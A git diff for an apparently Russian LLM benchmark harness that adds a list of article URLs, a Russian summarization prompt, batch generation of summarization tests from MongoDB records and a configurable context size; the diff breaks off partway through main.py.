diff --git a/ids.txt b/ids.txt new file mode 100644 index 0000000..274326c --- /dev/null +++ b/ids.txt @@ -0,0 +1,220 @@ +https://habr.com/ru/articles/987826/ +https://habr.com/ru/articles/985300/ +https://habr.com/ru/articles/987848/ +https://habr.com/ru/articles/987854/ +https://habr.com/ru/companies/croc/articles/987856/ +https://habr.com/ru/articles/987862/ +https://habr.com/ru/companies/perco/articles/987866/ +https://habr.com/ru/companies/habr_career/articles/987870/ +https://habr.com/ru/articles/987876/ +https://habr.com/ru/articles/987882/ +https://t-cadet.github.io/programming-wisdom/#2026-01-17-gathering-linux-syscall-numbers +https://www.valueaddedresource.net/ebay-bans-ai-agents-updates-arbitration-user-agreement-feb-2026/ +https://www.jamf.com/blog/threat-actors-expand-abuse-of-visual-studio-code/ +https://www.projectlumen.app/ +https://www.ycombinator.com/companies/flowtel/jobs/LaddaEz-founding-engineer-staff-senior +https://www.media.mit.edu/publications/your-brain-on-chatgpt/ +https://lambdaland.org/posts/2026-01-21_tree-sitter_vs_lsp/ +https://reactos.org/blogs/30yrs-of-ros/ +https://www.jsoftware.com/papers/perlis77.htm +https://www.pbs.org/newshour/health/brazilian-city-uses-tilapia-fish-skin-treat-burn-victims +https://venturebeat.com/security/salesforce-research-across-the-c-suite-trust-is-the-key-to-scaling-agentic +https://venturebeat.com/orchestration/what-servicenow-and-openai-signal-for-enterprises-as-ai-moves-from-advice-to +https://venturebeat.com/data/cfos-are-now-getting-their-own-vibe-coding-moment-thanks-to-datarails +https://venturebeat.com/infrastructure/why-linkedin-says-prompting-was-a-non-starter-and-small-models-was-the +https://venturebeat.com/infrastructure/claude-code-costs-up-to-usd200-a-month-goose-does-the-same-thing-for-free +https://venturebeat.com/data/x-open-sources-its-algorithm-5-ways-businesses-can-benefit +https://venturebeat.com/orchestration/mits-new-recursive-framework-lets-llms-process-10-million-tokens-without +https://venturebeat.com/infrastructure/truefoundry-launches-truefailover-to-automatically-reroute-enterprise-ai +https://venturebeat.com/infrastructure/stop-calling-it-the-ai-bubble-its-actually-multiple-bubbles-each-with-a +https://venturebeat.com/orchestration/why-reinforcement-learning-plateaus-without-representation-depth-and-other +https://nuancesprog.ru/p/31409/ +https://nuancesprog.ru/p/30941/ +https://nuancesprog.ru/p/30511/ +https://nuancesprog.ru/p/30448/ +https://nuancesprog.ru/p/30828/ +https://nuancesprog.ru/p/31317/ +https://nuancesprog.ru/p/30453/ +https://nuancesprog.ru/p/31340/ +https://nuancesprog.ru/p/30546/ +https://nuancesprog.ru/p/30526/ +https://vc.ru/services/2699471-biklain-youtube-bez-vpn +https://vc.ru/marketplace/2700808-wildberries-rasshiril-testirovanie-neyropereskazov +https://vc.ru/money/2700754-prodazhi-noutbukov-v-rossii-sokratilis-na-15-30-protsentov +https://vc.ru/money/2700907-sem-altman-openai-investitsii-50-mlrd-abudabi +https://vc.ru/hr/2701502-profsoyuz-hyundai-yuzhnaya-koreya-protiv-robotov +https://vc.ru/tech/2701445-sony-novye-naushniki-linkbuds-clip +https://vc.ru/tech/2701146-sozdanie-obedinyonnoy-mikroelektronnoy-kompanii +https://vc.ru/services/2701052-prilozhenie-nonusa-boykot-amerikanskih-tovarov +https://vc.ru/tech/2699508-tesla-vozobnovlyaet-proekt-dojo3 +https://vc.ru/offline/2699877-obvineniya-muzhchine-v-ssha-za-moshennichestvo-s-poddelnym-udostovereniem-pilota +https://www.bitdegree.org/crypto/news/what-ethereum-does-that-bitcoin-cant +https://www.bitdegree.org/crypto/news/bitdegree-rolls-out-latest-mission-exploring-global-money-transfers-in-brazil +https://www.bitdegree.org/crypto/news/bhutan-to-launch-sei-network-validator-in-q1-blockchain-push +https://www.bitdegree.org/crypto/news/solana-mobile-rewards-seeker-owners-with-26-million-skr-airdrop +https://www.bitdegree.org/crypto/news/aave-hands-lens-control-to-mask-network-refocuses-on-defi +https://www.bitdegree.org/crypto/news/sec-reviews-fresh-calls-for-defi-and-self-custody-clarity +https://www.bitdegree.org/crypto/news/slowmist-uncovers-snap-store-exploit-targeting-crypto-users +https://www.bitdegree.org/crypto/news/iran-buys-507-million-in-tether-to-defend-rial-says-elliptic +https://www.bitdegree.org/crypto/news/ethereums-vitalik-buterin-shifts-entire-online-activity-to-firefly-in-2026 +https://www.bitdegree.org/crypto/news/circle-teams-up-with-un-to-modernize-38-billion-in-global-aid-transfers +https://ip-calculator.ru/blog/ask/zachem-programmistu-razbiratsya-v-zheleze/ +https://ip-calculator.ru/blog/ask/kak-ajtishniku-vybrat-nejroset/ +https://ip-calculator.ru/blog/ask/kak-it-biznesu-zashhitit-svoyu-informatsionnuyu-infrastrukturu/ +https://ip-calculator.ru/blog/ask/kak-rossijskim-ajti-predprinimatelyam-zapuskat-biznes-v-azii-bez-problem-s-zaderzhkoj-nadyozhnostyu-i-bezopasnostyu/ +https://ip-calculator.ru/blog/ask/kak-it-kompanii-zashhitit-svoi-dannye/ +https://ip-calculator.ru/blog/ask/kak-sozdat-internet-magazin-ponyatnoe-rukovodstvo-dlya-predprinimatelej/ +https://ip-calculator.ru/blog/ask/integratsiya-1s-s-it-sistemami-prakticheskoe-rukovodstvo/ +https://ip-calculator.ru/blog/ask/nejroseti-v-seo-i-marketinge-telegram-kak-novyj-poiskovik/ +https://ip-calculator.ru/blog/ask/vizualnyj-dizajn-i-sotsialnaya-aktivnost-kak-pikseli-i-oformlenie-vliyayut-na-lajki-i-podpischikov/ +https://ip-calculator.ru/blog/ask/how-to-enable-use-or-remove-the-developer-tab-in-microsoft-excel/ +https://www.infoq.com/presentations/autonomous-driving-data/ +https://www.infoq.com/news/2026/01/aws-european-sovereign-cloud/ +https://www.infoq.com/news/2026/01/data-sovereignty-trust-framework/ +https://www.infoq.com/news/2026/01/meta-pai-genai-data-flows/ +https://www.infoq.com/news/2026/01/claude-cowork/ +https://www.infoq.com/news/2026/01/cyberark-agents-defenses/ +https://www.infoq.com/articles/ai-assisted-development-series/ +https://www.infoq.com/news/2026/01/google-agentic-commerce-ucp/ +https://www.infoq.com/news/2026/01/prisma-7-performance/ +https://www.infoq.com/news/2026/01/salesforce-eks-karpenter/ +https://kod.ru/reestr-kuriery +https://kod.ru/open-letter-to-pavel-durov +https://kod.ru/mincifri-analog-call-of-duty +https://kod.ru/blue-origin-sputnikovaya-svayz +https://kod.ru/huawei-matepad-11-5-s-2026-predzakaz +https://kod.ru/obzor-huawei-matepad-11-5-s-2026 +https://kod.ru/gosduma-shtrafy-vpn +https://kod.ru/caviar-aladdin +https://kod.ru/yandex-b2btech-postgresql +https://kod.ru/telegram-op-ogranicheniya +https://www.404media.co/ham-radio-operators-in-belarus-arrested-face-the-death-penalty/ +https://www.404media.co/podcast-heres-what-palantir-is-really-building/ +https://www.404media.co/feds-create-drone-no-fly-zone-that-would-stop-people-filming-ice/ +https://www.404media.co/ohio-mail-theft-postal-worker-robbery/ +https://www.404media.co/how-wikipedia-will-survive-in-the-age-of-ai-with-wikipedias-cto-selena-deckelmann/ +https://www.404media.co/comic-con-bans-ai-art-after-artist-pushback/ +https://www.404media.co/ices-facial-recognition-app-misidentified-a-woman-twice/ +https://www.404media.co/behind-the-blog-putting-the-puzzle-together/ +https://www.404media.co/scientists-make-stunning-find-inside-prehistoric-wolfs-stomach/ +https://www.404media.co/theres-a-lootbox-with-rare-pokemon-cards-sitting-in-the-pentagon-food-court/ +https://dzone.com/articles/java-high-availability-failures +https://dzone.com/articles/merge-liquid-clustering-common-issues +https://dzone.com/articles/no-buffering-strategy-streaming-search-results +https://dzone.com/articles/rag-ai-for-ai-builders +https://dzone.com/articles/where-ai-fits-and-fails-in-workday-integrations +https://dzone.com/articles/automated-inventory-pattern-for-managing-aws-ec2 +https://dzone.com/articles/future-of-data-streaming-apache-flink-for-agentic-ai +https://dzone.com/articles/refactoring-react-monolith-with-autonomous-agents +https://dzone.com/articles/mcp-security-governance-opportunity +https://dzone.com/articles/build-ai-tools-go-mcp-sdk-databases +https://www.reddit.com/r/MachineLearning/comments/1qj3t98/d_do_you_feel_like_companies_are_scooping_abusing/ +https://www.reddit.com/r/ollama/comments/1qjtnqm/how_to_implement_a_rag_retrieval_augmented/ +https://www.reddit.com/r/LLM/comments/1qjmi9f/using_ai_for_product_mockups/ +https://www.reddit.com/r/ollama/comments/1qjtqyr/what_do_you_guys_test_llms_in_cicd/ +https://www.reddit.com/r/datasets/comments/1qjiok5/i_finetuned_llama_32_1b_brazilian_address_parser/ +https://www.reddit.com/r/LLM/comments/1qjd8b0/i_liked_this_paper_251004226_epistemic_diversity/ +https://www.reddit.com/r/MachineLearning/comments/1qjmqy8/d_which_data_design_patterns_have_held_up_for_you/ +https://www.reddit.com/r/datasets/comments/1qjmvso/how_to_get_dfdc_dataset_access_is_the_website/ +https://www.reddit.com/r/technology/comments/1qji6cy/job_applicants_sue_to_open_black_box_of_ai_hiring/ +https://www.reddit.com/r/technology/comments/1qjh5o1/president_fcc_threatens_to_enforce_equaltime_rule/ +https://www.opennet.ru/opennews/art.shtml?num=64655 +https://www.opennet.ru/opennews/art.shtml?num=64657 +https://www.opennet.ru/opennews/art.shtml?num=64658 +https://www.opennet.ru/opennews/art.shtml?num=64649 +https://www.opennet.ru/opennews/art.shtml?num=64650 +https://www.opennet.ru/opennews/art.shtml?num=64651 +https://www.opennet.ru/opennews/art.shtml?num=64652 +https://www.opennet.ru/opennews/art.shtml?num=64653 +https://www.opennet.ru/opennews/art.shtml?num=64642 +https://www.opennet.ru/opennews/art.shtml?num=64644 +https://4pda.to/2026/01/22/452001/qwerty_smartfon_unihertz_titan_2_elite_pokazali_vzhivuyu_video/ +https://4pda.to/2026/01/22/452021/smena_komandy_prodyuser_world_of_warcraft_teper_rabotaet_nad_mmo_po_league_of_legends/ +https://4pda.to/2026/01/22/452008/kuler_igrovogo_smartfona_iqoo_15_ultra_pokazali_na_rendere/ +https://4pda.to/2026/01/22/452006/smi_era_nedorogikh_ssd_zakonchilas_i_dalshe_budet_eschyo_khuzhe/ +https://4pda.to/2026/01/22/452044/portativka_gpd_win_5_poluchit_ofitsialnuyu_podderzhku_os_bazzite/ +https://4pda.to/2026/01/22/452026/pokhozhe_marathon_ne_svetit_sudba_concord_gejmery_skupayut_predzakazy/ +https://4pda.to/2026/01/22/452045/dizajn_modulnoj_kamery_insta360_pocket_raskryt_do_anonsa_foto/ +https://4pda.to/2026/01/22/452051/asus_predstavila_ochen_dorogoj_8k_monitor_proart_pa32kcx_dlya_professionalov/ +https://4pda.to/2026/01/22/452052/smi_igrovaya_proizvoditelnost_linux_i_windows_pochti_ravna_no_ne_dlya_vsekh/ +https://4pda.to/2026/01/22/452025/eto_uspekh_vsego_za_nedelyu_gejmery_zagruzili_svyshe_5_mln_modov_dlya_hytale/ +https://techcrunch.com/2026/01/20/x-open-sources-its-algorithm-while-facing-a-transparency-fine-and-grok-controversies/ +https://techcrunch.com/2026/01/20/elon-musk-says-teslas-restarted-dojo3-will-be-for-space-based-ai-compute/ +https://techcrunch.com/2026/01/20/in-an-effort-to-protect-young-users-chatgpt-will-now-predict-how-old-you-are/ +https://techcrunch.com/2026/01/20/one-time-hot-insurance-tech-ethos-poised-to-be-first-tech-ipo-of-the-year/ +https://techcrunch.com/2026/01/20/netflix-to-redesign-its-app-as-it-competes-with-social-platforms-for-daily-engagement/ +https://techcrunch.com/2026/01/20/anthropics-ceo-stuns-davos-with-nvidia-criticism/ +https://techcrunch.com/2026/01/20/bolna-nabs-6-3-million-from-general-catalyst-for-its-india-focused-voice-orchestration-platform/ +https://techcrunch.com/2026/01/20/amagi-slides-in-india-debut-as-cloud-tv-software-firm-tests-investor-appetite/ +https://techcrunch.com/2026/01/20/snap-reaches-settlement-in-social-media-addiction-lawsuit/ +https://techcrunch.com/2026/01/21/consumers-spent-more-on-mobile-apps-than-games-in-2025-driven-by-ai-app-adoption/ +https://xakep.ru/2026/01/20/stackwarp/ +https://xakep.ru/2026/01/20/modular-ds/ +https://xakep.ru/2026/01/21/shadowrelay/ +https://xakep.ru/2026/01/21/almaty-meetup-jan/ +https://xakep.ru/2026/01/21/sideloading-restrictions/ +https://xakep.ru/2026/01/21/voidlink-ai/ +https://xakep.ru/2026/01/21/aisuru-kimwolf/ +https://xakep.ru/2026/01/21/vigi-patch/ +https://xakep.ru/2026/01/19/0days-win/ +https://xakep.ru/2026/01/19/gootloader-zip/ +https://uproger.com/podrobnyj-vvodnyj-kurs-po-parsingu-na-python-2026-godav-etom-besplatnom-kurse-v/ +https://uproger.com/anthropicai-vypustili-claude-cowork-po-suti-eto-claude-code-no-dlya-netehnare/ +https://uproger.com/ceo-cursor-zayavil-chto-oni-skoordinirovali-sotni-gpt-5-2-agentov-chtoby-avtonom/ +https://uproger.com/nvidia-kvzap-zhmem-kv-kesh-v-4-raza-vse-lyubyat-dlinnyj-kontekst-no-dlya-gpu-eto-b/ +https://uproger.com/google-problema-data-czentrov-uzhe-ne-v-kupit-elektrichestvo-problema-podkl/ +https://uproger.com/%f0%9f%a4%96-luchshie-github-repozitorii-chtoby-vyuchit-ai-s-nulya-v-2026/ +https://uproger.com/google-pokazala-interesnyj-primer-togo-kak-multimodeli-uzhe-pomogayut-v-gumanit/ +https://uproger.com/glavnye-novosti-ii-i-ml-openai-zapustila-chatgpt-health-chatgpt-health-otdel/ +https://uproger.com/u-deepseek-mozhet-byt-odin-iz-samyh-silnyh-skrytyh-istochnikov-finansirovaniya/ +https://uproger.com/grok-4-20-ii-nashyol-novuyu-bellman-funkcziyu-i-prodvinul-slozhnuyu-zadachu-v-analizep/ +https://gopractice.ru/product/kano-model/ +https://gopractice.ru/product/segmentation-method/ +https://gopractice.ru/product/the-north-star-metric-guide/ +https://gopractice.ru/product/focus-on-the-job-not-the-customer/ +https://gopractice.ru/product/finding-potential-ai-applications/ +https://gopractice.ru/product/large-language-models/ +https://gopractice.ru/product/ai-products/ +https://gopractice.ru/product/jtbd-the-theory-and-the-frameworks/ +https://gopractice.ru/product/metrics/ +https://gopractice.ru/product/ai-products-mazes/ +https://vas3k.club/post/29747/ +https://vas3k.blog/notes/invest/ +https://vas3k.blog/world/normandy/ +https://vas3k.blog/blog/unstoppable_web/ +https://vas3k.blog/world/south_africa/ +https://vas3k.blog/notes/flipperzero/ +https://vas3k.blog/notes/bow/ +https://vas3k.blog/blog/bus_2022/ +https://vas3k.blog/notes/homelab_2022/ +https://vas3k.blog/blog/2022/ +https://vas3k.blog/world/japan/ +https://www.theinformation.com/briefings/china-vows-retaliate-trump-imposes-new-100-tariff +https://www.theinformation.com/articles/ai-ad-tech-land-grab-pits-salesforce-google-microsoft-amazon +https://www.theinformation.com/briefings/nvidia-announces-chip-design-deal-broadcom +https://www.theinformation.com/articles/robots-beat-optimus-space +https://www.theinformation.com/briefings/data-startups-fivetran-dbt-labs-announced-merger +https://www.theinformation.com/briefings/jpmorgan-commits-10-billion-strategic-tech-investments +https://www.theinformation.com/briefings/apple-rebrands-streaming-service-apple-tv +https://www.theinformation.com/articles/borrowed-money-fueled-cryptos-700-billion-sell +https://www.theinformation.com/articles/openai-working-softbanks-arm-broadcom-ai-chip-effort +https://techrocks.ru/2025/02/20/20-useful-typescript-tricks/ +https://techrocks.ru/2025/07/16/queues-in-typescript/ +https://techrocks.ru/2024/12/27/black-box-testing/ +https://techrocks.ru/2025/01/10/how-to-add-watermarks-to-images/ +https://techrocks.ru/2025/01/19/how-to-build-accessible-modals/ +https://techrocks.ru/2025/01/23/how-to-merge-word-documents-in-python/ +https://techrocks.ru/2025/01/29/10-react-one-liners/ +https://techrocks.ru/2025/02/07/how-to-merge-word-documents-using-nodejs/ +https://techrocks.ru/2025/02/20/20-useful-typescript-tricks/ +https://techrocks.ru/2025/03/14/20-useful-js-tricks/ +https://polarsparc.com/2025/05/31/open-webui/ +https://polarsparc.com/2025/06/15/langchain-recipes/ +https://polarsparc.com/2025/06/15/langchain/ +https://polarsparc.com/2025/06/21/pragmatic-spring-ai/ +https://polarsparc.com/2025/06/29/llama-cpp/ +https://polarsparc.com/2025/07/04/hyperledger-besu-docker/ +https://polarsparc.com/2025/07/05/docker-model-runner/ +https://polarsparc.com/2025/07/12/cross-entropy/ +https://polarsparc.com/2025/07/19/anvil-solidity-python/ +https://polarsparc.com/2025/08/01/polarsparc-retire/ \ No newline at end of file diff --git a/prompts/summarization.txt b/prompts/summarization.txt index 186d624..5598b9e 100644 --- a/prompts/summarization.txt +++ b/prompts/summarization.txt @@ -1 +1,18 @@ -Summarize the following text in 1-2 sentences: '{text}' +Task: Produce a concise summary in Russian. + +Input: A block of text that may be written in Russian or any other language. The text can contain code snippets, tables, and other non‑textual elements. + +Requirements: + + Summarize the content of the input text. + The output must be only the summary, written entirely in Russian. + Exclude all code blocks, tables, images, links, and any formatting (no indentations, no bullet points, no headings). + The summary should be a single paragraph, as short as possible while still covering the main ideas. + Do not add any commentary, explanations, or additional text before or after the summary. + + +Example: +[User supplies text] +[Model outputs only the summary in Russian, no code or tables] + +'{text}' diff --git a/requirements.txt b/requirements.txt index 99d77f4..3b85bb0 100644 --- a/requirements.txt +++ b/requirements.txt @@ -1,3 +1,3 @@ -ollama>=0.1.0 +ollama>=0.6.1 pymongo==3.13.0 tqdm>=4.60.0 diff --git a/run.sh b/run.sh index 134575e..3b818bb 100755 --- a/run.sh +++ b/run.sh @@ -47,7 +47,18 @@ if [ -n "$1" ]; then elif [[ "$1" == "gen-mongo" ]]; then activate echo "🔍 Генерирую тесты пересказов из MongoDB... " - python scripts/generate_summarization_from_mongo.py --record-id "$2" + if [[ -n "$2" ]] && [[ "$2" != "--id-file" ]]; then + # Старый формат: ./run.sh gen-mongo + python scripts/generate_summarization_from_mongo.py --record-id "$2" + elif [[ -n "$2" ]] && [[ "$2" == "--id-file" ]]; then + # Новй формат: ./run.sh gen-mongo --id-file + shift 2 + python scripts/generate_summarization_from_mongo.py --id-file "$1" + else + echo "❌ Ошибка: Укажите либо --record-id, либо --id-file" + echo "Использование: ./run.sh gen-mongo или ./run.sh gen-mongo --id-file " + exit 1 + fi echo "✅ Тесты из MongoDB успешно сгенерированы" fi else @@ -58,10 +69,12 @@ else echo " * run - запуск бенчмарков (translation, summarization, codegen)" echo " * clean - очистка отчетов" echo " * gen - генерация тестов через Ollama (translation, summarization, codegen)" - echo " * gen-mongo - генерация тестов пересказов из MongoDB (использование: ./run.sh gen-mongo [output-dir])" + echo " * gen-mongo - генерация тестов пересказов из MongoDB (использование: ./run.sh gen-mongo или ./run.sh gen-mongo --id-file )" echo "" echo "Примеры использования:" echo " * ./run.sh run -m second_constantine/t-lite-it-1.0:7b -b translation summarization" + echo " * ./run.sh run -m second_constantine/t-lite-it-1.0:7b --num-ctx 16000" echo " * ./run.sh gen" echo " * ./run.sh gen-mongo 507f1f77bcf86cd799439011" + echo " * ./run.sh gen-mongo --id-file ids.txt" fi diff --git a/scripts/README.md b/scripts/README.md index c72fee6..00bba9e 100644 --- a/scripts/README.md +++ b/scripts/README.md @@ -32,17 +32,23 @@ python scripts/generate_tests.py --count 2 --category translation --model second **Функциональность:** - Извлекает текст статьи из коллекции `rssNotification` (поле `.meta.topicContent`) -- Генерирует тестовые данные в формате JSON для бенчмарка AI +- Генерирует тестовые данные в формате TXT для бенчмарка AI - Валидирует generated тесты +- Поддерживает обработку как одной записи, так и нескольких записей из файла **Использование:** ```bash +# Для обработки одной записи python scripts/generate_summarization_from_mongo.py --record-id 507f1f77bcf86cd799439011 + +# Для обработки нескольких записей из файла +python scripts/generate_summarization_from_mongo.py --id-file ids.txt ``` **Параметры:** -- `--record-id`: ID записи в MongoDB (обязательный параметр) -- `--output-dir`: Директория для сохранения generated тестов (по умолчанию: tests/summarization) +- `--record-id`: ID записи в MongoDB (для обработки одной записи) +- `--id-file`: Файл с ID записей (по одной на строку, для обработки нескольких записей) + * Примечание: Укажите либо `--record-id`, либо `--id-file`, но не оба одновременно **Требования:** - Доступ к MongoDB кластеру (10.0.0.3, 10.0.0.4, 10.0.0.5) @@ -56,6 +62,13 @@ Summarize the following text in 1-2 sentences: 'Текст статьи из Mon **Примечание:** Тесты генерируются в формате TXT с разделителем `==============`. Поле "expected" может быть пустым, если генерация пересказа не удалась. +**Обработка файла с ID:** +- Скрипт читает ID из файла построчно +- Обрабатывает каждую запись по очереди +- Выводит прогресс и статистику по обработке +- Продолжает обработку остальных записей даже при ошибках отдельных записей +- Выводит подробные логи об ошибках для каждой неудачной записи + ## Установка зависимостей Для работы скриптов требуются следующие зависимости: diff --git a/scripts/generate_summarization_from_mongo.py b/scripts/generate_summarization_from_mongo.py index 084b36b..3b6d3e4 100644 --- a/scripts/generate_summarization_from_mongo.py +++ b/scripts/generate_summarization_from_mongo.py @@ -66,12 +66,13 @@ def extract_text_from_topic_content(topic_content: Dict) -> Optional[str]: return content_str -def generate_test_from_mongo_record(record_id: str) -> bool: +def generate_test_from_mongo_record(record_id: str, verbose: bool = True) -> bool: """ Генерирует тест пересказа из записи MongoDB. Args: record_id: ID записи в MongoDB + verbose: Выводить подробную отладочную информацию (по умолчанию: True) Returns: True, если тест успешно generated, False в случае ошибки @@ -84,32 +85,42 @@ def generate_test_from_mongo_record(record_id: str) -> bool: # Извлекаем запись по ID record = collection.find_one({"_id": record_id}) if not record: - print(f"❌ Запись с ID {record_id} не найдена в коллекции") + if verbose: + print(f"❌ Запись с ID {record_id} не найдена в коллекции") return False - # Отладочная информация - print(f"🔍 Найдена запись: {record_id}") - print(f"📋 Полная структура записи:") - print(json.dumps(record, ensure_ascii=False, indent=2, default=str)) + # Отладочная информация (только при verbose=True) + if verbose: + print(f"🔍 Найдена запись: {record_id}") + print(f"📋 Полная структура записи:") + print(json.dumps(record, ensure_ascii=False, indent=2, default=str)) # Извлекаем текст из meta.topicContent meta_data = record.get('meta', {}) topic_content = meta_data.get('topicContent') if not topic_content: - print(f"❌ В записи {record_id} отсутствует поле meta.topicContent") + if verbose: + print(f"❌ В записи {record_id} отсутствует поле meta.topicContent") + print(f"📋 Полная структура записи:") + print(json.dumps(record, ensure_ascii=False, indent=2, default=str)) return False - print(f"📝 Тип поля meta.topicContent: {type(topic_content)}") - print(f"📝 Содержимое meta.topicContent (первые 500 символов):") - print(str(topic_content)[:500]) + if verbose: + print(f"📝 Тип поля meta.topicContent: {type(topic_content)}") + print(f"📝 Содержимое meta.topicContent (первые 500 символов):") + print(str(topic_content)[:500]) # Извлекаем текст article_text = extract_text_from_topic_content(topic_content) if not article_text: - print(f"❌ Не удалось извлечь текст из meta.topicContent записи {record_id}") + if verbose: + print(f"❌ Не удалось извлечь текст из meta.topicContent записи {record_id}") + print(f"📋 Полная структура записи:") + print(json.dumps(record, ensure_ascii=False, indent=2, default=str)) return False - print(f"📝 Итоговый текст (первые 500 символов): {article_text[:500]}") + if verbose: + print(f"📝 Итоговый текст (первые 500 символов): {article_text[:500]}") # Генерируем пересказ через LLM (если доступно) expected_summary = "" @@ -132,7 +143,8 @@ Provide only the summary, no additional text.""" # Очищаем ID от недопустимых символов для имени файла filename = sanitize_filename(record_id) if not filename: - print(f"❌ Не удалось создать допустимое имя файла из ID записи {record_id}") + if verbose: + print(f"❌ Не удалось создать допустимое имя файла из ID записи {record_id}") return False # Используем очищенный ID записи как имя файла @@ -142,14 +154,23 @@ Provide only the summary, no additional text.""" with open(test_file, "w", encoding="utf-8") as f: f.write(f"{article_text}{TEST_SEPARATOR}{expected_summary}") - print(f"✅ Создан тест tests/summarization/{filename}.txt") - print(f" Источник: MongoDB запись {record_id}") - print(f" Текст статьи (первые 100 символов): {article_text[:100]}...") + if verbose: + print(f"✅ Создан тест tests/summarization/{filename}.txt") + print(f" Источник: MongoDB запись {record_id}") + print(f" Текст статьи (первые 100 символов): {article_text[:100]}...") return True except Exception as e: - print(f"❌ Ошибка при генерации теста: {e}") + if verbose: + print(f"❌ Ошибка при генерации теста: {e}") + try: + record = collection.find_one({"_id": record_id}) + if record: + print(f"📋 Полная структура записи:") + print(json.dumps(record, ensure_ascii=False, indent=2, default=str)) + except: + pass return False finally: if 'client' in locals(): @@ -187,33 +208,93 @@ def validate_test(test_data: Dict[str, str]) -> bool: return True +def read_ids_from_file(file_path: str) -> list: + """ + Читает ID записей из файла. + + Args: + file_path: Путь к файлу с ID записей (по одной на строку) + + Returns: + Список ID записей + """ + try: + with open(file_path, 'r', encoding='utf-8') as f: + ids = [line.strip() for line in f if line.strip()] + return ids + except Exception as e: + print(f"❌ Ошибка при чтении файла {file_path}: {e}") + return [] + def main(): """Основная функция скрипта.""" parser = argparse.ArgumentParser( description="Генератор тестов пересказов из MongoDB", epilog="Примеры использования:\n" - " python scripts/generate_summarization_from_mongo.py --record-id 507f1f77bcf86cd799439011" + " python scripts/generate_summarization_from_mongo.py --record-id 507f1f77bcf86cd799439011\n" + " python scripts/generate_summarization_from_mongo.py --id-file ids.txt" ) - parser.add_argument( + group = parser.add_mutually_exclusive_group(required=True) + group.add_argument( "--record-id", type=str, - required=True, - help="ID записи в MongoDB (обязательный параметр)" + help="ID записи в MongoDB (для обработки одной записи)" + ) + group.add_argument( + "--id-file", + type=str, + help="Файл с ID записей (по одной на строку, для обработки нескольких записей)" ) args = parser.parse_args() - print(f"🔍 Подключаюсь к MongoDB кластеру...") - print(f"📄 Извлекаю запись с ID: {args.record_id}") - print(f"💾 Сохраняю тест в: tests/summarization/") + if args.record_id: + print(f"🔍 Подключаюсь к MongoDB кластеру...") + print(f"📄 Извлекаю запись с ID: {args.record_id}") + print(f"💾 Сохраняю тест в: tests/summarization/") - success = generate_test_from_mongo_record(args.record_id) + success = generate_test_from_mongo_record(args.record_id) - if success: - print("\n✨ Готово! Тест успешно generated.") - else: - print("\n❌ Не удалось generated тест.") - sys.exit(1) + if success: + print("\n✨ Готово! Тест успешно generated.") + else: + print("\n❌ Не удалось generated тест.") + sys.exit(1) + elif args.id_file: + print(f"🔍 Подключаюсь к MongoDB кластеру...") + print(f"📄 Извлекаю ID записи из файла: {args.id_file}") + print(f"💾 Сохраняю тесты в: tests/summarization/") + + # Читаем ID из файла + record_ids = read_ids_from_file(args.id_file) + if not record_ids: + print("❌ Файл с ID записей пуст или недействителен.") + sys.exit(1) + + print(f"📊 Найдено {len(record_ids)} ID записей в файле") + print("🔄 Начинаю обработку записей...\n") + + success_count = 0 + error_count = 0 + + for i, record_id in enumerate(record_ids, 1): + print(f"[{i}/{len(record_ids)}] Обрабатываю запись: {record_id}") + success = generate_test_from_mongo_record(record_id, verbose=True) + if success: + success_count += 1 + else: + error_count += 1 + print() # Пустая строка для разделения логов + + print(f"\n📊 Итог:") + print(f" ✅ Успешно generated: {success_count}") + print(f" ❌ Ошибки: {error_count}") + + if error_count > 0: + print(f"\n⚠️ Некоторые записи были обработаны с ошибками. Проверьте логи выше.") + sys.exit(1) + else: + print("\n✨ Готово! Все тесты успешно generated.") if __name__ == "__main__": main() diff --git a/src/benchmarks/base.py b/src/benchmarks/base.py index 0c71560..0260960 100644 --- a/src/benchmarks/base.py +++ b/src/benchmarks/base.py @@ -46,13 +46,14 @@ class Benchmark(ABC): """ pass - def run(self, ollama_client: OllamaClient, model_name: str) -> Dict[str, Any]: + def run(self, ollama_client: OllamaClient, model_name: str, num_ctx: int = 32000) -> Dict[str, Any]: """ Запуск бенчмарка. Args: ollama_client: Клиент для работы с Ollama model_name: Название модели + num_ctx: Размер контекста Returns: Результаты бенчмарка @@ -71,9 +72,11 @@ class Benchmark(ABC): # Получение ответа от модели prompt = test_case['prompt'] + self.logger.debug(f"Prompt: {prompt[:200]}...") # Логируем начало промпта model_response = ollama_client.generate( model=model_name, prompt=prompt, + num_ctx=num_ctx, options={'temperature': 0.7} ) @@ -101,7 +104,10 @@ class Benchmark(ABC): }) except Exception as e: - self.logger.error(f"Error in test case {i}: {e}") + error_msg = f"Error in test case {i} (name: {test_case['name']}): {e}" + self.logger.error(error_msg) + if 'prompt' in locals(): + self.logger.debug(f"Failed prompt: {prompt[:500]}") results.append({ 'test_case': test_case['name'], 'error': str(e) diff --git a/src/benchmarks/summarization.py b/src/benchmarks/summarization.py index d45c3e3..feec1e3 100644 --- a/src/benchmarks/summarization.py +++ b/src/benchmarks/summarization.py @@ -32,7 +32,7 @@ class SummarizationBenchmark(Benchmark): if len(parts) == 2: test_data.append({ 'name': filename.replace('.txt', ''), - 'prompt': self.universal_prompt.format(task=parts[0]), + 'prompt': self.universal_prompt.format(text=parts[0]), 'expected': parts[1] }) diff --git a/src/main.py b/src/main.py index 7c61f3f..b477a9b 100644 --- a/src/main.py +++ b/src/main.py @@ -18,7 +18,7 @@ def setup_logging(verbose: bool = False): ] ) -def run_benchmarks(ollama_client: OllamaClient, model_name: str, benchmarks: List[str]) -> List[dict]: +def run_benchmarks(ollama_client: OllamaClient, model_name: str, benchmarks: List[str], num_ctx: int) -> List[dict]: """ Запуск выбранных бенчмарков. @@ -26,6 +26,7 @@ def run_benchmarks(ollama_client: OllamaClient, model_name: str, benchmarks: Lis ollama_client: Клиент для работы с Ollama model_name: Название модели benchmarks: Список имен бенчмарков для запуска + num_ctx: Размер контекста Returns: Список результатов бенчмарков @@ -45,7 +46,7 @@ def run_benchmarks(ollama_client: OllamaClient, model_name: str, benchmarks: Lis logging.info(f"Running {benchmark_name} benchmark...") benchmark = benchmark_classes[benchmark_name]() - result = benchmark.run(ollama_client, model_name) + result = benchmark.run(ollama_client, model_name, num_ctx) results.append(result) return results @@ -59,6 +60,7 @@ def main(): help='Список бенчмарков для выполнения (translation, summarization, codegen)') parser.add_argument('-o', '--output', default='results', help='Директория для сохранения результатов') parser.add_argument('-v', '--verbose', action='store_true', help='Подробный режим вывода') + parser.add_argument('--num-ctx', type=int, default=32000, help='Размер контекста для модели (по умолчанию 32000)') args = parser.parse_args() @@ -68,13 